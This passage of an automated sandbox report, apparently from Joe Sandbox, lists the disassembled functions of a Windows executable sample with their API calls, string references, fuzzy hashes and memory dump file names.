Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 5e2d871cb3fe1c1969b66f3fe9a3872159f564dc7bdc06796f72dfcbfb14f326
Instruction ID: 1d77a9bd8de83f147cfd22e66b227f25cb911925b8e818fa8ece2c974cfb7da4
Opcode Fuzzy Hash: 5e2d871cb3fe1c1969b66f3fe9a3872159f564dc7bdc06796f72dfcbfb14f326
Instruction Fuzzy Hash: 43C012F151010052CEB046385E4805B376697433667684EBDF1A5D11D1CB39DC42F005

Function 0040D3C3 Relevance: 1.5, APIs: 1, Instructions: 11windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,?,?), ref: 0040D3E0

Part of subcall function 0040CFC8: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0040CFD9
Part of subcall function 0040CFC8: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0040CFEA
Part of subcall function 0040CFC8: TranslateMessage.USER32(?), ref: 0040CFF4
Part of subcall function 0040CFC8: DispatchMessageW.USER32(?), ref: 0040CFFE

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: Message$DispatchItemPeekSendTranslate
String ID:
API String ID: 4142818094-0
Opcode ID: 96d894961c4767c1e64a66d43eb6f3f9f031ba28b070713e1493db6d830df4c7
Instruction ID: 3b13af5d56a39e5f22369b2d9f50570f7d85299dd9acab15ffa417331e8d843b
Opcode Fuzzy Hash: 96d894961c4767c1e64a66d43eb6f3f9f031ba28b070713e1493db6d830df4c7
Instruction Fuzzy Hash: 0AC01231240300ABD7117B10DE07F193552BB40708F508139B744340F1C5B648329A0A

Function 004214B5 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

_doexit.LIBCMT ref: 004214C1

Part of subcall function 00421389: __lock.LIBCMT ref: 00421397
Part of subcall function 00421389: __decode_pointer.LIBCMT ref: 004213CE
Part of subcall function 00421389: __decode_pointer.LIBCMT ref: 004213E3
Part of subcall function 00421389: __decode_pointer.LIBCMT ref: 0042140D
Part of subcall function 00421389: __decode_pointer.LIBCMT ref: 00421423
Part of subcall function 00421389: __decode_pointer.LIBCMT ref: 00421430
Part of subcall function 00421389: __initterm.LIBCMT ref: 0042145F
Part of subcall function 00421389: __initterm.LIBCMT ref: 0042146F

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: __decode_pointer$__initterm$__lock_doexit
String ID:
API String ID: 1597249276-0
Opcode ID: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction ID: a641cbc9880caa42f80c5c55f80c2b4a079778160b429ae487eec97669a62b75
Opcode Fuzzy Hash: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction Fuzzy Hash: C4B0923268020833EA202A42AC07F463A0E87D0B68E650021BA0C195A1A9A2B9618189

Function 00408B67 Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE(?,00407FFA,?,?,?,?,?,?,00000000,?,?,?,?,?,?,?), ref: 00408B6A

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: c635e92dd265372a0ac16abef4fb17a803da047c5b1ded40a1a00e6431af769c
Instruction ID: 8764dd92a4aeea9fc6a797bc89121622734c807ffe49c2e46d1e29d47898f422
Opcode Fuzzy Hash: c635e92dd265372a0ac16abef4fb17a803da047c5b1ded40a1a00e6431af769c
Instruction Fuzzy Hash: 45B011303A000A8B8F202B30CE088283A20EB2230A30082B0A02AC80A0CB23C023AA00

Function 004199FD Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?,0040D795,0042A644,00000000,?,00000006,?,00000800), ref: 00419A01

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: d3f7c641652e8f08ac12cbb3d58c3bebf67a7f5dc113771634cfd816c524747e
Instruction ID: 175a8f5435bd407339ccdaf5ebd2187c03bf393c5a072438874265726e840e79
Opcode Fuzzy Hash: d3f7c641652e8f08ac12cbb3d58c3bebf67a7f5dc113771634cfd816c524747e
Instruction Fuzzy Hash: 98A0123039400647CA100F34CD0A82575505760B02F0086307006C00A0CB304430A505

Non-executed Functions

Function 0040DD0E Relevance: 52.8, APIs: 27, Strings: 3, Instructions: 291windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 0040DD88
DestroyIcon.USER32(00000000), ref: 0040DD93
EndDialog.USER32(?,00000006), ref: 0040DD9B

Strings

REPLACEFILEDLG, xrefs: 0040DD26
%s %s %s, xrefs: 0040DEB3, 0040DFD4
%s %s, xrefs: 0040DF2C, 0040E033

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: DestroyDialogIconItemMessageSend
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 3309745630-1840816070
Opcode ID: 5e139d720a9ebed7bd3f1c1d003199c373304d34a840406cf30bca9b4f5c3397
Instruction ID: fa0b8f752fa8c0d846640355b86fcc42a38a471cbb23b859a5d7e6fa7d0d957f
Opcode Fuzzy Hash: 5e139d720a9ebed7bd3f1c1d003199c373304d34a840406cf30bca9b4f5c3397
Instruction Fuzzy Hash: 4CA16472A4011CBBEB21EFE0CC85FEF776DEF04704F400466BA05E60D1D6799A598B69

Function 00406894 Relevance: 37.0, APIs: 17, Strings: 4, Instructions: 290fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00406899
_wcslen.LIBCMT ref: 00406902
_wcscpy.LIBCMT ref: 0040696E
_wcslen.LIBCMT ref: 0040697A

Part of subcall function 004064DD: GetCurrentProcess.KERNEL32(00000020,?), ref: 004064EC
Part of subcall function 004064DD: OpenProcessToken.ADVAPI32(00000000), ref: 004064F3
Part of subcall function 004064DD: LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00406513
Part of subcall function 004064DD: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000000,00000000,00000000), ref: 00406528
Part of subcall function 004064DD: GetLastError.KERNEL32 ref: 00406532
Part of subcall function 004064DD: CloseHandle.KERNEL32(?), ref: 00406541

Part of subcall function 0040927F: _wcsncpy.LIBCMT ref: 004092E6

CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000001,00000080,00000000,00000000,00000001), ref: 004069FB
CloseHandle.KERNEL32(00000000), ref: 00406A0C
CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000001), ref: 00406A19
_wcscpy.LIBCMT ref: 00406A65
_wcscpy.LIBCMT ref: 00406A89
_wcscpy.LIBCMT ref: 00406AD5
_wcscpy.LIBCMT ref: 00406AFE
CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00406B24
DeviceIoControl.KERNEL32(00000000,000900A4,?,-00000008,00000000,00000000,?,00000000), ref: 00406B4F
CloseHandle.KERNEL32(00000000), ref: 00406B5A
GetLastError.KERNEL32 ref: 00406B6C
RemoveDirectoryW.KERNEL32(00000000), ref: 00406BA1
DeleteFileW.KERNEL32(00000000), ref: 00406BA9

Strings

SeRestorePrivilege, xrefs: 004068B1
\??\, xrefs: 0040691D
UNC\, xrefs: 0040693F
SeCreateSymbolicLinkPrivilege, xrefs: 004068BB

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: _wcscpy$CloseCreateFileHandle$DirectoryErrorLastProcessToken_wcslen$AdjustControlCurrentDeleteDeviceH_prologLookupOpenPrivilegePrivilegesRemoveValue_wcsncpy
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 295717069-3508440684
Opcode ID: fec5147fc01d9f34a502e68caa46c748142a0b958b89c88ea65a7e80bfc16d33
Instruction ID: 45f9c9a60937e065ab61df6fe3d998c353ec3866802773e54f17ef37c5d24b46
Opcode Fuzzy Hash: fec5147fc01d9f34a502e68caa46c748142a0b958b89c88ea65a7e80bfc16d33
Instruction Fuzzy Hash: 05B1D371A00215AFDF21DF64CC45BDA77B8FF04314F00446AF95AE7281D778AAA4CB69

Function 004104A9 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 225COMMON

Download Yara Rule

APIs

__byteswap_ulong.LIBCMT ref: 004104DB
__byteswap_ulong.LIBCMT ref: 004104EE
__byteswap_ulong.LIBCMT ref: 00410501
__byteswap_ulong.LIBCMT ref: 00410514
__byteswap_ulong.LIBCMT ref: 00410527
__byteswap_ulong.LIBCMT ref: 0041053A
__byteswap_ulong.LIBCMT ref: 0041054D
__byteswap_ulong.LIBCMT ref: 00410560
__byteswap_ulong.LIBCMT ref: 00410573
__byteswap_ulong.LIBCMT ref: 00410586
__byteswap_ulong.LIBCMT ref: 00410599
__byteswap_ulong.LIBCMT ref: 004105AC
__byteswap_ulong.LIBCMT ref: 004105C1
__byteswap_ulong.LIBCMT ref: 004105D4
__byteswap_ulong.LIBCMT ref: 004105E7
__byteswap_ulong.LIBCMT ref: 004105FA

Strings

8Z@, xrefs: 004106DD, 004106E5, 004106F9, 00410716

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: __byteswap_ulong
String ID: 8Z@
API String ID: 2309504477-3820067188
Opcode ID: 9f117c7e7c4f073d62743699c9974dacf17771ceaf79ce7deef3240e054eaf93
Instruction ID: 860ed8aa975c420535b50c32d487b6e313711c98d635ade82304f14efeb4dbb3
Opcode Fuzzy Hash: 9f117c7e7c4f073d62743699c9974dacf17771ceaf79ce7deef3240e054eaf93
Instruction Fuzzy Hash: 8C91FAB1A006048FCB24DF59C881A9DBBF1FF4C308F0445AEE54AE7722D739A9958F45

Function 0041E48E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00423CEE
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00423D03
UnhandledExceptionFilter.KERNEL32(`D), ref: 00423D0E
GetCurrentProcess.KERNEL32(C0000409), ref: 00423D2A
TerminateProcess.KERNEL32(00000000), ref: 00423D31

Strings

`D, xrefs: 00423D09

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID: `D
API String ID: 2579439406-1070873967
Opcode ID: 56c5a62fb2f7f6636291a6d14797e7b81fa4396f563e9201061004f269c01aac
Instruction ID: 2015641654b75937153e36d01346c21e17e79de6d81aa9230b99b4eb3045d80e
Opcode Fuzzy Hash: 56c5a62fb2f7f6636291a6d14797e7b81fa4396f563e9201061004f269c01aac
Instruction Fuzzy Hash: 4721C078600244EFE710DF26F8456547BB0BB1E314FA049BAE80983361E7B5599ACF1E

Function 00402F24 Relevance: 9.3, APIs: 3, Strings: 2, Instructions: 544COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00402F2D
_memcmp.LIBCMT ref: 00402FF5
_memcmp.LIBCMT ref: 004032CF

Strings

CMT, xrefs: 00403552
@, xrefs: 0040349C

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: _memcmp$H_prolog
String ID: @$CMT
API String ID: 212800410-3935043585
Opcode ID: 289be22be8d8e21ea6c2de34b842591e7535171eb9dfa8655e80555d37c1e7ab
Instruction ID: 74599023937fd8df6c33bc0beffbe5af872e8d8d66d8c1774feb90eaf4e5afae
Opcode Fuzzy Hash: 289be22be8d8e21ea6c2de34b842591e7535171eb9dfa8655e80555d37c1e7ab
Instruction Fuzzy Hash: 672206715006849FDB14DF24C881BEA3BE5EF14309F08047FED4AAB2C6DB799689CB59

Function 004064DD Relevance: 9.0, APIs: 6, Instructions: 42COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000020,?), ref: 004064EC
OpenProcessToken.ADVAPI32(00000000), ref: 004064F3
LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00406513
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000000,00000000,00000000), ref: 00406528
GetLastError.KERNEL32 ref: 00406532
CloseHandle.KERNEL32(?), ref: 00406541

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentErrorHandleLastLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3398352648-0
Opcode ID: ffeccf25956bfd93346b2d86616f67c4b85d78278941fcedc4f79907d0ffdda3
Instruction ID: 5730f10ad350693b3656b398f843758227311bbc3d817beba93dcbd445191771
Opcode Fuzzy Hash: ffeccf25956bfd93346b2d86616f67c4b85d78278941fcedc4f79907d0ffdda3
Instruction Fuzzy Hash: DE011DB1600208BFDB209FA4ED89EAF7BBCEB04744F800076F902E1290D735CE659A35

Function 0040FF2D Relevance: 9.0, Strings: 7, Instructions: 289COMMON

Download Yara Rule

Strings

D, xrefs: 004101DA
tD, xrefs: 0040FF98
XD, xrefs: 00410147
|D, xrefs: 00410268
\D, xrefs: 0041013F
|D, xrefs: 0041002A
D, xrefs: 004101F0

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID:
String ID: XD$\D$tD$|D$|D$D$D
API String ID: 0-3078164799
Opcode ID: f36a09e5f26d8d62a54f4afe5aedbf896fa39a0e4924dd30a6198e919e352f8c
Instruction ID: 8307f29fc7fc21a0a082ea922b051b0646981432ef55bab89a48cea2fea95e04
Opcode Fuzzy Hash: f36a09e5f26d8d62a54f4afe5aedbf896fa39a0e4924dd30a6198e919e352f8c
Instruction Fuzzy Hash: FAD14C72A0021ACFCF14CF58D880599B7B1FF8C308B2685ADE919AB341D731BA56CF94

Function 0040D007 Relevance: 3.0, APIs: 2, Instructions: 44COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 0040D02D
GetNumberFormatW.KERNEL32(00000400,00000000,?,0042F0CC,?,?), ref: 0040D07A

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: 804a2e1f4122a07eb972676116a6fd6af5b1b2391d4556cd137941413f2e30aa
Instruction ID: ed338014c1c8d88939eefb6e2212735ed7d912fdd58134f1746a66ff11774296
Opcode Fuzzy Hash: 804a2e1f4122a07eb972676116a6fd6af5b1b2391d4556cd137941413f2e30aa
Instruction Fuzzy Hash: 85015E75610208AED720DFA4DC41BAAB3B8EF49714F408036BA48D7161D37498198B6D

Function 00411104 Relevance: 3.0, APIs: 2, Instructions: 20timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00411111
SystemTimeToFileTime.KERNEL32(?,?), ref: 0041111F

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: Time$System$File
String ID:
API String ID: 2838179519-0
Opcode ID: 73c0fe710d69e9a8317a733d124d89beeb6e31e8a0860a5e8cfb29a734f86780
Instruction ID: 59434568b1c2b5fc6a93c3db55aab0bab5b4963efa3a3d3351e5901167eda4be
Opcode Fuzzy Hash: 73c0fe710d69e9a8317a733d124d89beeb6e31e8a0860a5e8cfb29a734f86780
Instruction Fuzzy Hash: 6CE0E6B690020DAFCB10DF94D84A8DEBBFCEB48210F404465DD42E3301E630E655CBD5

Function 004146D4 Relevance: 2.0, APIs: 1, Instructions: 478COMMON

Download Yara Rule

APIs

_realloc.LIBCMT ref: 004147AF

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: _realloc
String ID:
API String ID: 1750794848-0
Opcode ID: 83e84a8adc4c6bcc18e54cf14a6e0ef6e2350f436e9b7f199ea47aea8a84c61c
Instruction ID: ccd42938f32d8140383a85433f03869281217cc3306c596cf6886b904b25083a
Opcode Fuzzy Hash: 83e84a8adc4c6bcc18e54cf14a6e0ef6e2350f436e9b7f199ea47aea8a84c61c
Instruction Fuzzy Hash: 8F02E4B1A106069BCB1DDF28C5816E9B7E1FF85304F20852ED556CBA84D338F9E1CB88

Function 00413C71 Relevance: 1.8, APIs: 1, Instructions: 267COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00413D01

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 8b445e2d0af184b95e2d68b27cf31678ff647875f71702221eff0f79dd89f91d
Instruction ID: 7c45f5d2537cab61057ef223a39c2d6b2a97954d4784be44a639594692d6218a
Opcode Fuzzy Hash: 8b445e2d0af184b95e2d68b27cf31678ff647875f71702221eff0f79dd89f91d
Instruction Fuzzy Hash: 19A1FF71A00208EBDB04DF59C591BEDB7B5EB44305F20446FE806EB282CB799F86DB59

Function 00419925 Relevance: 1.6, APIs: 1, Instructions: 89comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0042B188,00000000,00000001,0042B0D8,?), ref: 0041993E

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
